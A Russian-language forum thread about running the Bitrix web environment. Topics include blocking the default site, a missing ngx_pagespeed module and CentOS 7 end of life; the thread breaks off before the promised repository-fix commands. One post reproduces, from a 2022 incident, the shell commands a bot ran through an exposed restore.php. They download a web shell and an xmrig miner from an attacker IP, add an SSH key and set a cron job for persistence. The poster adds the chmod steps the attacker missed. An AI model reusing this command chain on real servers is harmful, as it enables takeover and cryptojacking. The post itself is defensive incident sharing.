Форум

Как все банально просто оказалось.
Это же как днем ясно, что сайт по дефолту должен быть залит, а зачем его держать, или заблокировать.
Я, когда ставлю ВМ обязательно блокирую дефолтный сайт по htaccess.
Можно конечно и через nginx, но не хочу париться.
Спасибо Сергею, что разобрался, а то времени не было копать.
В общем это вопрос квалификации админа.

Доброго времени суток!
Уважаемые разработчики Веб окружения, в сборке Nginx 1.24 не включен модуль ngx_pagespeed.
Подскажите пожалуйста, про него забыли, забили или он не работает в этой версии?
На некоторых проектах активно используем этот модуль и тут вышла неожиданность при обновлении
Ждать ли его или собирать самим?

UPD: нашел решение откатить nginx до 22-й версии, где модуль включен

Возможно еще актуально.
При установке битрикс-окружения в /home/bitrix/www  появляются restore.php и bitrixsetup.php
Они же создаются при создании сайта средствами /root/menu.sh
Файл restore.php позволяет восстановить из предварительно созданного бэкапа сайт.
Для развертывания никаких логинов паролей (в том числе и от пользователя сервера баз данных) не надо.

Что происходит?
Приходит робот из облака гугла или амазона.
Видит restore.php.
Разворачивает заранее сделанную копию сайта.
Идет в админку.
Это его сайт и у него есть возможность попасть в админку.
Запускает "командную строку php"
В ней:
echo shell_exec("cat /proc/cpuinfo | grep processor");
echo shell_exec("cat /proc/cpuinfo | grep model");
echo shell_exec("sudo -l");
echo shell_exec("curl -O http://178.154.215.30/auth_login");
echo shell_exec("mv auth_login auth_login.php");
echo shell_exec("ls /home/bitrix/www/bitrix/admin/ | grep auth_login.php");
echo shell_exec("cp /home/bitrix/www/bitrix/admin/auth_login.php /home/bitrix/www/");
echo shell_exec("ls /home/bitrix/www/ | grep auth_login.php");
echo shell_exec("curl -o /tmp/config.json http://178.154.215.30/config.json");
echo shell_exec("curl -o /tmp/xmrig http://178.154.215.30/xmrig");
echo shell_exec("chmod 777 /tmp/xmrig");
echo shell_exec("mkdir /home/bitrix/.ssh");
echo shell_exec("curl -O http://178.154.215.30/info");
echo shell_exec("cat info >> ~/.ssh/authorized_keys");
echo shell_exec("rm -rf info ");
echo shell_exec("curl -o /home/bitrix/sql_backup.sql http://178.154.215.30/sql_backup");
echo shell_exec("chmod 777 /home/bitrix/sql_backup.sql");
echo shell_exec("curl -O http://178.154.215.30/conf");
echo shell_exec("crontab -l >> conf");
echo shell_exec("crontab conf");
echo shell_exec("rm -rf conf");
echo shell_exec("crontab -l");
После этого:
$ crontab -l
# kletka-gym project
*/10 * * * * bash /home/bitrix/sql_backup.sql
а там внутри
wget -P /tmp https://github.com/.../xmrig-6.16.2-linux-static-x64.tar.gz
И еще чуть-чуть конфигов.

Вот как-то так.
Снято в 22 году с работающего майнера.
Замечу что в  данном случае после
echo shell_exec("cat info >> ~/.ssh/authorized_keys");
не хватает chmod 700 для .ssh и chmod 600 для authorized_keys
Для получения ssh по ключу.
Тогда майнер был не доработан.

Возникает вопрос что делать?
После установки битрикс-окружения/развертывания bitrix-vm
cd /home/bitrix/www
mv bitrixsetup.php bitrixsetup.php.1
mv restore.php restore.php.1

То же самое делать сразу же после создания сайта в его web_root.

1 июля 2024 года истек срок службы CentOS 7, и команда CentOS удалила свои зеркала из Интернета. Доступ к ним по-прежнему можно получить через vault.centos.org. Без обновления URL-адресов репозитория пакеты невозможно будет обновить или проверить, что приведет к ошибке: "Could not retrieve mirrorlist http://mirrorlist.centos.org ..."

ВАЖНО: Использовать репозиторий Vault  НЕ НУЖНО для того, чтобы оставаться на CentOS 7 дольше, чем требуется для перехода на новый сервер. Пакеты, предоставленные в репозитории vault не получают больше обновлений. Это означает, что программное обеспечение, установленное из репозитория Vault, будет иметь неисправленные уязвимости безопасности и другие ошибки.

для временного фикса базового репозитория можно использовать команды: